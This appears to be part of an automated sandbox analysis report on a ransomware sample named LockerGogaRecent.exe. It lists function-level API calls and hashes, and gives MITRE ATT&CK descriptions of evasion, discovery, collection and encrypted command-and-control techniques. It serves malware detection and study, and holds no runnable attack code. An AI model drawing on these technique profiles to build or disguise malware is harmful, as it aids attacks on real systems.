Function 000FC1DF, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28threadUNIQUE

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 000FC201
std::invalid_argument::invalid_argument.LIBCONCRT ref: 000FC214
__CxxThrowException@8.LIBVCRUNTIME ref: 000FC222

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Strings

pContext, xrefs: 000FC20C

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Concurrency::details::ExceptionException@8FreeIdleProxyProxy::RaiseReturnThreadThrowstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 1628980281-2046700901
Opcode ID: 4e916ec137d62aaec9c6bcf76d28626cb14690ce98be8cf181382ca98f975df0
Instruction ID: 1ddaf91c1a5bf1a0b08f3a2647ebc7497a6af43df56b757bf58987cdbed71996
Opcode Fuzzy Hash: 4e916ec137d62aaec9c6bcf76d28626cb14690ce98be8cf181382ca98f975df0
Instruction Fuzzy Hash: B3E0D876B0021C67CF04FBA8DC4AC9DB7FDAFD47107044016EA21A3392DB74A91586D1

Uniqueness

Uniqueness Score: 100.00%

Function 000F01C9, Relevance: 6.0, APIs: 4, Instructions: 29registryUNIQUE

Download Yara Rule

APIs

RegisterWaitForSingleObject.KERNEL32(?,00000000,00101150,000000A4,000000FF,0000000C), ref: 000F01E0
GetLastError.KERNEL32(?,?,?,?,?,000F6073,?), ref: 000F01EF
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 000F0205
__CxxThrowException@8.LIBVCRUNTIME ref: 000F0213

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorExceptionException@8LastObjectRaiseRegisterSingleThrowWait
String ID:
API String ID: 1738451609-0
Opcode ID: c41a9485961c65de8bf8c9771e1f105bbd7331b93014a8ee785c3a80b72c5e8c
Instruction ID: 6e44fc98d3030922c279b6262b23a327883a6e8b4bb189306b634e167df0d76c
Opcode Fuzzy Hash: c41a9485961c65de8bf8c9771e1f105bbd7331b93014a8ee785c3a80b72c5e8c
Instruction Fuzzy Hash: F4F08C7060020EABCB00EFA0CD05EAF77A8AF00300F500254BA61E50A2DB75E600AB61

Uniqueness

Uniqueness Score: 100.00%

Function 000F0105, Relevance: 6.0, APIs: 4, Instructions: 24COMMON

Download Yara Rule

APIs

GetNumaHighestNodeNumber.KERNEL32(?), ref: 000F010F
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,0000FFFF,00000000,?,00000000,00000000,?,?), ref: 000F011E
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 000F0134
__CxxThrowException@8.LIBVCRUNTIME ref: 000F0142

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorExceptionException@8HighestLastNodeNumaNumberRaiseThrow
String ID:
API String ID: 2576978794-0
Opcode ID: 9d88ef1e487458fe02f97d9d371ab66560ff0d9033e2535754d3cd616bbdd15d
Instruction ID: 1a3c4e9fe07cb7570b19343b1f1203494fa19c9d66d4875e9c2682bd89cd4e90
Opcode Fuzzy Hash: 9d88ef1e487458fe02f97d9d371ab66560ff0d9033e2535754d3cd616bbdd15d
Instruction Fuzzy Hash: 3CE04F70A0024EABCB14EBB58D4AABF73FCAF00701F900454B341F2492EB28EA049762

Uniqueness

Uniqueness Score: 16.53%

Function 000F025D, Relevance: 6.0, APIs: 4, Instructions: 23threadUNIQUE

Download Yara Rule

APIs

SetThreadPriority.KERNEL32(?,?), ref: 000F0269
GetLastError.KERNEL32 ref: 000F0275
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 000F028B
__CxxThrowException@8.LIBVCRUNTIME ref: 000F0299

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorExceptionException@8LastPriorityRaiseThreadThrow
String ID:
API String ID: 3743591648-0
Opcode ID: 2b80df7a64421194bb61e2e874584ba39d9d3df705db68cf270299222b776fed
Instruction ID: 1586372ad57c25aee1a7ec649af0be9cfe25c1dfbedcc404087c38c073660cdb
Opcode Fuzzy Hash: 2b80df7a64421194bb61e2e874584ba39d9d3df705db68cf270299222b776fed
Instruction Fuzzy Hash: 9AE04F7460011EABDB54AF608D09ABE77ECAF10241B404454B655E44A2DB79D41096A1

Uniqueness

Uniqueness Score: 100.00%

Function 000F031D, Relevance: 6.0, APIs: 4, Instructions: 23UNIQUE

Download Yara Rule

APIs

TlsSetValue.KERNEL32(?,00000000,000F541B,00000000,?,?,?,?), ref: 000F0329
GetLastError.KERNEL32 ref: 000F0335
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 000F034B
__CxxThrowException@8.LIBVCRUNTIME ref: 000F0359

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorExceptionException@8LastRaiseThrowValue
String ID:
API String ID: 2734830880-0
Opcode ID: 4a97c1118303db4276fd927933c783c5d89ba74d9be689ee629a7e39bc9eb141
Instruction ID: 4c24aabfb9cf11a968e37e4ff4ced907261b52fd13e448c5afdbb090f85ea88d
Opcode Fuzzy Hash: 4a97c1118303db4276fd927933c783c5d89ba74d9be689ee629a7e39bc9eb141
Instruction Fuzzy Hash: BCE0867450014EABCB10BF60CC05BBE77ECBF10345F404554B755E54A3EB39E5149795

Uniqueness

Uniqueness Score: 100.00%

Function 000F02C4, Relevance: 6.0, APIs: 4, Instructions: 21memoryUNIQUE

Download Yara Rule

APIs

TlsAlloc.KERNEL32(00000000,?,?), ref: 000F02CA
GetLastError.KERNEL32 ref: 000F02D7
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 000F02ED
__CxxThrowException@8.LIBVCRUNTIME ref: 000F02FB

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: AllocConcurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorExceptionException@8LastRaiseThrow
String ID:
API String ID: 2398339121-0
Opcode ID: 2a079ff747a7084e3a2b52012b07e8ca1ebf175a18490e5e169dc35775f7fd76
Instruction ID: 0654a80d23cd320c607e0fdb3c96bf4fdfbeaef7ed8a95e68b54e747aa23e6bf
Opcode Fuzzy Hash: 2a079ff747a7084e3a2b52012b07e8ca1ebf175a18490e5e169dc35775f7fd76
Instruction Fuzzy Hash: 20E0C2705002199BC754BBB88C0E6BE32EC6F00311B900B55F761E04E3EB2CD4045672

Uniqueness

Uniqueness Score: 37.75%

Function 000D83EE, Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 323UNIQUE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 000D83F5

Part of subcall function 0006FAB0: std::_Lockit::_Lockit.LIBCPMT ref: 0006FAE4
Part of subcall function 0006FAB0: std::_Lockit::_Lockit.LIBCPMT ref: 0006FB04
Part of subcall function 0006FAB0: std::_Lockit::~_Lockit.LIBCPMT ref: 0006FB24
Part of subcall function 0006FAB0: std::_Facet_Register.LIBCPMT ref: 0006FBEA
Part of subcall function 0006FAB0: std::_Lockit::~_Lockit.LIBCPMT ref: 0006FC0A

Part of subcall function 0006C220: std::_Lockit::_Lockit.LIBCPMT ref: 0006C260
Part of subcall function 0006C220: std::_Lockit::_Lockit.LIBCPMT ref: 0006C282
Part of subcall function 0006C220: std::_Lockit::~_Lockit.LIBCPMT ref: 0006C2A2
Part of subcall function 0006C220: __Getctype.LIBCPMT ref: 0006C341
Part of subcall function 0006C220: std::_Facet_Register.LIBCPMT ref: 0006C360
Part of subcall function 0006C220: std::_Lockit::~_Lockit.LIBCPMT ref: 0006C380

_Find_unchecked1.LIBCPMT ref: 000D8606

Strings

0123456789ABCDEFabcdef-+Xx, xrefs: 000D845D

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register$Find_unchecked1GetctypeH_prolog3_
String ID: 0123456789ABCDEFabcdef-+Xx
API String ID: 2649994149-2799312399
Opcode ID: a9aa2e6a1bab759d53d367ff37e7f6f0cd62c6bb971fc2539a1c622bb3e90f89
Instruction ID: 1aae10377e724f0c110dba69805eefd3909cdffc6f9bdf650043486e46cefc89
Opcode Fuzzy Hash: a9aa2e6a1bab759d53d367ff37e7f6f0cd62c6bb971fc2539a1c622bb3e90f89
Instruction Fuzzy Hash: 21C18D30E043888EDF66DBA8C5907ECBBB2AF15310F68816AD8956B347DB309D45CB61

Uniqueness

Uniqueness Score: 100.00%

Function 00094790, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41synchronizationUNIQUE

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,?), ref: 000947AC

Part of subcall function 00051B00: ___std_exception_copy.LIBVCRUNTIME ref: 00051B28

__CxxThrowException@8.LIBVCRUNTIME ref: 000947E1

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Strings

failed to lock mutex, xrefs: 000947CB

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: ExceptionException@8ObjectRaiseSingleThrowWait___std_exception_copy
String ID: failed to lock mutex
API String ID: 3653113103-2971087998
Opcode ID: ff7b854f9c15ba7eb93bc8e64e5004ae1d9be75dd4e36a7e09caa7f4c5862291
Instruction ID: bc74664279b152f61e59842127d75628407a7ffeeed941323903cd23178f9bb7
Opcode Fuzzy Hash: ff7b854f9c15ba7eb93bc8e64e5004ae1d9be75dd4e36a7e09caa7f4c5862291
Instruction Fuzzy Hash: 97F0E270A08208AFDB14EB68E849EACBBE8AF05311F108255F89187291EBB0A8048780

Uniqueness

Uniqueness Score: 100.00%

Function 0012C1D4, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34UNIQUE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0012C1DB

Part of subcall function 0012BEB7: __EH_prolog3.LIBCMT ref: 0012BEBE

Strings

MOC, xrefs: 0012C1FE
RCC, xrefs: 0012C20D

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: H_prolog3H_prolog3_catch
String ID: MOC$RCC
API String ID: 1882928916-2084237596
Opcode ID: ea2884deed5d1ad6d5d9e1435804778290d53827509f685e71f20e20b4af2f21
Instruction ID: eeb9a30f7b559458daff7d22dfbf96b55c5a5b0f443c511c33d36f6d88945fb3
Opcode Fuzzy Hash: ea2884deed5d1ad6d5d9e1435804778290d53827509f685e71f20e20b4af2f21
Instruction Fuzzy Hash: E8F062B0500264DFCB21FFA8D94259DBB70FF21700B064091FA809B262DFB85E60CBE1

Uniqueness

Uniqueness Score: 100.00%

Function 0010C8B5, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 0010C8E6

Part of subcall function 001079F8: DName::doPchar.LIBVCRUNTIME ref: 00107A1F

DName::DName.LIBVCRUNTIME ref: 0010C8F2

Strings

{flat}, xrefs: 0010C8DC

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: NameName::$Name::doPchar
String ID: {flat}
API String ID: 3088877975-2606204563
Opcode ID: bee008effda9e32874286492d0fcf50e5e9afd7e69cba9c25e0634059d8e81a3
Instruction ID: bb6d03796f52a537ee4139f25d147bdab88a72cc959f0c41d61468938ecba1e2
Opcode Fuzzy Hash: bee008effda9e32874286492d0fcf50e5e9afd7e69cba9c25e0634059d8e81a3
Instruction Fuzzy Hash: CCF039706447489FEB00DB58E465FA83BE5AB01715F09C046E58C4F6E2C7B4A8848BD8

Uniqueness

Uniqueness Score: 0.76%

Description:	Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules, anti-virus, and virtualization. These checks may be built into early-stage remote access tools.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques.
Tactics:	Collection
Data Sources:	API monitoring, Authentication logs, Packet capture, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report LockerGogaRecent.exe

Overview

General Information

Detection

Confidence

Classification

Analysis Advice

Mitre Att&ck Matrix

Signature Overview

AV Detection:

Cryptography:

Spreading:

Networking:

Spam, unwanted Advertisements and Ransom Demands:

DDoS:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Signature Similarity

Similar Samples

Behavior Graph

Simulations

Behavior and APIs

Antivirus Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Yara Overview

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Screenshots

Thumbnails

Startup

Created / dropped Files

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Code Manipulations